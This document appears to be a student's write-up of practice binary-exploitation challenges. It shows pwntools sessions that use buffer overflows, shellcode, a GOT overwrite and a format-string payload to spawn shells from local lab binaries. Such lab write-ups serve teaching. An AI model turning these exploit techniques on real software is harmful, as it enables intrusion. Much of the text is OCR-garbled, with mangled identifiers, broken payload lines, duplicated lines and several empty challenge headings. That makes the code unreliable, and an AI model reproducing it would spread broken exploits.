Abdul Rahuman Aslam Moopan Abdulwahab

# PWN 1:

```
aslam@Aslam:~/pwns-main/chall_00$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.
In [2]: pr = process("./a.out")
[x] Starting local process './a.out'
[+] Starting local process './a.out': pid 13922
 In [3]: add = (0x110 - 0x4)
In [4]: pr_64 = p64(0x69420)
 In [5]: payload = b'a'*(add) + pr_64
 In [6]: pr.sendline(payload)
In [7]: pr.interactive()
[*] Switching to interactive mode
Now tell me what you want what you really really want!!!!!
who
                                 2024-04-11 13:29
aslam
              pts/1
whoami
 aslam
ls
README.md a.out:7
README.md:Zone.Identifier main.c
                                           a.out:Zone.Identifier
                                                                                 pwn1_chall00.py
a.out
                                           main.c:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_00
^C[*] Interrupted
  [n [8]: pr.close()
[*] Stopped process './a.out' (pid 13922)
```

#### **PWN 2:**

```
01$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.
In [2]: pr = process("./a.out")
[x] Starting local process './a.out'
[+] Starting local process './a.out': pid 2116
In [3]: add_1 = (0x110 - 8)
In [4]: add_2 = p32(0x1337)
In [5]: add_3 = p32(0x69696969)
In [6]: payload = b'A' * (add_1) + (add_2) + (add_3)
In [7]: pr.sendline(payload)
In [8]: pr.interactive()
[*] Switching to interactive mode
Obi Wan has trained you well...
My powers have doubled since the last time we met
who
aslam
                                  2024-04-11 16:43
              pts/1
whoami
aslam
ls
a.out a.out:Zone.Identifier main.c main.c:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_01
^C[*] Interrupted
```

#### **PWN 3:**

```
aslam@Aslam:~/pwns-main/chall_02$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.
In [2]: pr = process("./withoutpie")
[x] Starting local process './withoutpie'
[+] Starting local process './withoutpie': pid 1195
In [3]: add_1 = (0 \times 71)
In [4]: add_2 = (0x4)
In [5]: add_3 = (0x08049182)
In [6]: payload = b'A' * (add_1) + b'A' * (add_2) + p32(add_3)
In [7]: pr.sendline(payload)
In [8]: pr.interactive()
[*] Switching to interactive mode
Winning isn't everything, it's the only thing
whoami
aslam
ls
README.md
                                          a.out:Zone.Identifier
                                                                                withoutpie
README.md:Zone.Identifier main.c
                                                                                withoutpie:Zone.Identifier
                                          main.c:Zone.Identifier
a.out
pwd
/home/aslam/pwns-main/chall_02
^C[*] Interrupted
    [9]: pr.close()
[*] Stopped process './withoutpie' (pid 1195)
```

#### **PWN 4:**

#### **PWN 5:**

```
aslam@Aslam:~/pwns-main/chall_04$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 — An enhanced Interactive Python. Type '?' for help.
In [2]: pr = process("./chall_04")
[X] Starting local process './chall_04'
[+] Starting local process './chall_04': pid 11749
In [3]: add_1 = (0x60 - 8)
In [4]: add_2 = (0 \times 0.0401176)
In [5]: payload = b'A'*(add_1) + p64(add_2)
In [6]: pr.sendline(payload)
In [7]: pr.interactive()
[*] Switching to interactive mode
Follow the compass and it'll point you in the right direction
aslam
                                      2024-04-11 16:43
whoami
aslam
ls
chall_04 chall_04:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_04
^C[*] Interrupted
In [8]: pr.close()
[*] Stopped process './chall_04' (pid 11749)
```

#### **PWN 6:**

```
asiam@Asian: - possenan/chail 0.$ ipython 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] Type 'copyright', 'credits' or 'license' for more information IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.
In [2]: elf = ELF("./chall_05")
[*] '/home/astam/pwns-main/chall_05/chall_05'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
        NX:
PIE:
                          NX enabled
PIE enabled
In [3]: pr = process("./chall_05")
[x] Starting local process './chall_05'
[+] Starting local process './chall_05': pid 14948
 In [4]: pr.recvuntil(":")
<ipython-input-4-a50bc85f17be>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
pr.recvuntil(":")

4 b"Follow the compass and it'll probably lead you in the wrong direction\nI wonder what this is:"
 In [5]: ovr_flw = pr.recv()
 In [6]: elf.address = (int(ovr_flw,16)) - elf.sym.main
 In [7]: payload = (b'A'*(0x60-8) + p64(elf.sym.win))
 In [8]: pr.sendline(payload)
In [9]: pr.interactive()
[*] Switching to interactive mode
who
aslam pts/1
whoami
aslam
                                     2024-04-11 16:43
ls
chall_05 chall_05:Zone.Identifier
 /home/aslam/pwns-main/chall_05
^C[*] Interrupted
 In [10]: pr.close()
[*] Stopped process './chall_05' (pid 14948)
```

#### **PWN 7:**

```
Python 3.19.12 (main, Nov 20 2023, 15:14-08) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 --- An enhanced Interactive Python. Type '?' for help.

In [1]: from pmn import *

In [2]: pr = process('./chall.05')
[1]: Starting local process './chall.06'; pid 1869
In [3]: context.arch = 'amdd4'
In [4]: pr.recvuntil(':')
'apython-input-4-a50bc85f17be>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes pr.recvuntil(':')
In [5]: asm_shell = asm(shellcraft.sh())
In [6]: ovr_flw = pr.recv()
In [7]: pr.sendline(asm_shell)
In [8]: payload = b'A**& + p64(int(ovr_flw,'))
In [9]: pr.sendline(apyload)
In [10]: pr.interactive()
[1]: Switching to interactive mode whommi aslam
Is chall_06 chall_06:Zone.Identifier
pmd
/home/aslam/pmns-main/chall_06
'C[1] Interrupted
In [11]: pr.close()
(1) Stopped process './chall_06' (pid 1869)
```

#### **PWN 8:**

```
aslam@Aslam: "/pwns-main/chall_07$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

in [2]: pr = process("./chall_07")
[1] Starting local process './chall_07'
[2] Starting local process './chall_07': pid 20264

in [3]: context.arch = "amd64"

in [4]: asm_shell = asm(shellcraft.sh())
in [5]: pr.sendline(asm_shell)
in [6]: pr.interactive()
[1] Switching to interactive mode
The world is a vampire
whoami
aslam
ls
chall_07 chall_07:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_07
^C[1] Interrupted

in [7]: pr.close()
[1] Stopped process './chall_07' (pid 20264)
```

#### **PWN 9:**

```
Python 3.18-12 (Bala, Nov 20 2013, 15:14:85) [Oct. 11:4:8]
Type 'copyright, 'credits' or 'license' for more information
Python 7.31.1 — An enhanced Interactive Python. Type '?' for help.

In [1]: from pum import *

[2]: pr = process( 'Achil 80')
[3] Starting local process './chall_88': pid 32636

[3]: elf = LFC 'Achil 80')
[3]: elf = LFC 'Achil 80')
[4] Yhome/aslam/pmn-main/chall_88/chall_88'
Arch: and64-64-11tle
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No '11 (NAMEMBER)

[5] elf got.puts = elf.sym.target

[6]: elf.got.puts = elf.sym.target

[7]: elf.got.puts = elf.sym.target

[8]: pr.sendline("1989580")

[9]: sym.ton-input-5-5a90a/Rell85::1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pmntools.com/#bytes

[7]: elf. pr.sendline("-7")

[9]: pr.sendline("-7")

[9]: pr.sendline("-7")

[9]: pr.sendline("-7")

[1]: pr.interactive()
[1] Switching to interactive mode
whomai
aslam
aslam
aslam
aslam
aslam
//onee/aslam/pmn-main/chall_88

[1]: Interrupted
[1]: Stopped process './chall_88' (pid 32636)
```

# PWN 10:

#### **PWN 11:**

## **PWN 12:**

```
IPython 7.31.1 — An enhanced Interactive Python. Type '?' for help.

in [1]: from pwn import *

in [2]: pr = process(* /chall_11*)

[2] Starting local process './chall_11'
[1] Starting local process './chall_11'
[1] Starting local process './chall_11'
[1] Starting local process './chall_11'
[2] Starting local process './chall_11'
Arch: 1386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048080)

in [4]: payload = fmtstr_payload(7, {elf.got.puts : elf.sym.win})

in [5]: pr.sendline(payload)

in [6]: pr.interactive()
[1] Switching to interactive mode
Write what wear pants please

whoami
aslam
Us
chall_11 chall_11:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_11
'C[*] Interrupted

[*] Pr.close()
[*] Stopped process './chall_11' (pid 34937)
```

#### **PWN 13:**

### **PWN 14:**

```
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
TPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

in [2]: pr = process(*./chall_13')
[x] Starting local process './chall_13'; pid 2577

in [3]: elf = ELF(*./chall_13')
[*] '/home/aslam/pwns-main/chall_13/chall_13'
Arch: 1306-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8040000)

in [4]: payload = b'A' * 272 + p32(elf.sym.systemFunc)
in [6]: pr.interactive()
[2] Switching to interactive mode
System of a doWn
whoami
aslam
Ls
chall_13 chall_13:Zone.Identifier
pwd
//home/aslam/pwns-main/chall_13
*C[-] Interrupted
[1] Stopped process './chall_13' (pid 2577)
```

#### **PWN 15:**

### **PWN 16:**